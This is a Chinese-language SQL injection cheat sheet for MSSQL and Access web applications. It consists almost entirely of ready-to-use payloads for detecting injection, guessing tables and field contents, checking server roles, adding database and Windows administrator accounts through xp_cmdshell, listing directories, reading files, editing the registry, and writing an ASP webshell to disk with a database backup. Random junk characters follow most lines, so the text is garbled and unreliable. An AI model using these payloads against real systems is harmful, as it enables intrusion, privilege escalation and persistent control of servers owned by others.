1.判断是否有注入;and 1=1 ;and 1=2 oo2d,
2.初步判断是否是mssql ;and user>0 l#1#3F
[. 9[?8
3.注入参数是字符'and [查询条件] and ''=' 1J/'R37lP
$8UW^#Bpq
4.搜索时没过滤参数的'and [查询条件] and '%25'=' kt)Et
+sjzT[ Dn
5.判断数据库系统 ;z.niX .fx
mu@ J$\
;and (select count(*) from sysobjects)>0 mssql O_a^|ln&
{FI*oO1A~
;and (select count(*) from msysobjects)>0 access @QVg5
S\N1qux{
4xmJQ>/
J|f29B-c
6.猜数据库 ;and (select Count(*) from [数据库名])>0 o>,r<
> B@ c74
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 >bze0`}Z
s.
A}ydtt
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 EUuSN| a
<JWU@A-.y
9.(1)猜字段的ascii值(access) rY45.,qWs
mLZ1u\7W
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 gtu<#h(
4/`;(*]Fv
(2)猜字段的ascii值(mssql) Z>g>OPu
rx2'].
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 \Dq'~
d
/"?DOsJ.
10.测试权限结构(mssql) >bf.T7wy
mW%8`$rVEO
F6[F~^9D
uW!XzX['
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- MmjZq
dz([GP'-*
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- . &j+&
.yZLC%}
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- dE_Xd:>
lEFd^@t
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- Tt)z[^)%
0<\|D^m=&h
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- R#4l"
b+|Jw\k
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- @}d;-m~
~#3{5*
M
;and 1=(select IS_MEMBER('db_owner'));-- M.mn9kw`
yqq1 a
o
ewk7:zS/?
vw2E$ya
11.添加mssql和系统的帐户 >[;@
[4}
5;0w({1l
;exec master.dbo.sp_addlogin username;-- -/JEKwc
;exec master.dbo.sp_password null,username,password;-- (^}t
?lsK?>uU
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- .u7}p#
xyGwYv>*KO
;exec master.dbo.xp_cmdshell 'net user username password 34u[#O{2
H **tMq
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- V)<>W_g
XY'8oU`]{
;exec master.dbo.xp_cmdshell 'net user username password /add';-- [G|.
``WTg4C(Y
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- n]IF`kYQV
}Kgi!$<aQx
hD
~/ywS&
d,(y$V+
12.(1)遍历目录 CwX?%$S
v zg^tJ
;create table dirs(paths varchar(100), id int) Hloe7+5UD
^}-l["u`
;insert dirs exec master.dbo.xp_dirtree 'c:\' cRnDAn#42
larv6ncV
;and (select top 1 paths from dirs)>0 C{J5:ak
LBy`N_@
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) Qjj }k)
et
1HbX
kBR=a%kG
EE 1D>I
(2)遍历目录 A?lLK&*
fg)*TR
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- |:R\j0t
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 I+& T}R
A`3KE9ED
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 '0+I' _(
ZwMVFC-d
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 6LDZ|K@
a 20w.6F
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ':4<[Vk
>j=ZB3yZ
U7g`R@
$#hU_vr
13.mssql中的存储过程 E'f7=ChNF
&gXL{cK'%
xp_regenumvalues 注册表根键, 子键 %1A8m-u]M
#H~55 ))F
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ,/+Mp
#,#_"
xp_regread 根键,子键,键值名 ;O hQBAC
9A.NM+u7
;exec xp_regread
]20:8l'
M
+OVqTsFU
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 uQ W)pD{_
.:j{d}p}
xp_regwrite 根键,子键, 值名, 值类型, 值 q0+N#$g#
-NwG'
U~
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 3%)cUkD
`VwG]2 I
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 :g|.x
F-3=eKZ
xp_regdeletevalue 根键,子键,值名 *1dZs~_
W8 g13oAu"
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 }'P|A
1!1JT;gG^9
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 |Gz<I
([q>.[WbH]
|-=-/u1
j_rO_m <8
14.mssql的backup创建webshell :(~<BiqR(
^`yhN
use model @sn:%/x _
w]gLd
create table cmd(str image); %DiQTg7V,
i
7]o[
insert into cmd(str) values (''); AJ/Hw>>$?m
4xW~@meNB
backup database model to disk='c:\l.asp'; @JlT*:Dz
)isS^O$qH
^N<aHFF
HMUx/M.j
15.mssql内置函数 Vl1.]'p_
VzSkqWF/"
;and (select @@version)>0 获得Windows的版本号 lD$s, hp
7RUztu\_
;and user_name()='dbo' 判断当前系统的连接用户是不是sa YeOn
J8~hIy6]
;and (select user_name())>0 爆当前系统的连接用户 ti+e U$
cY!Y?O
;and (select db_name())>0 得到当前连接的数据库 m%J?5rR3
'QE8
X]}ai5
6E) T;R(@
16.简洁的webshell co\?SgE35
TYuP
EVEXZ
use model ODu/B'*
oX)a6FXK>
create table cmd(str image); <.Tllk@r)
O;VqrO
insert into cmd(str) values (''); h's[)
t
xCL)<8[R,}
backup database model to disk='g:\wwwtest\l.asp';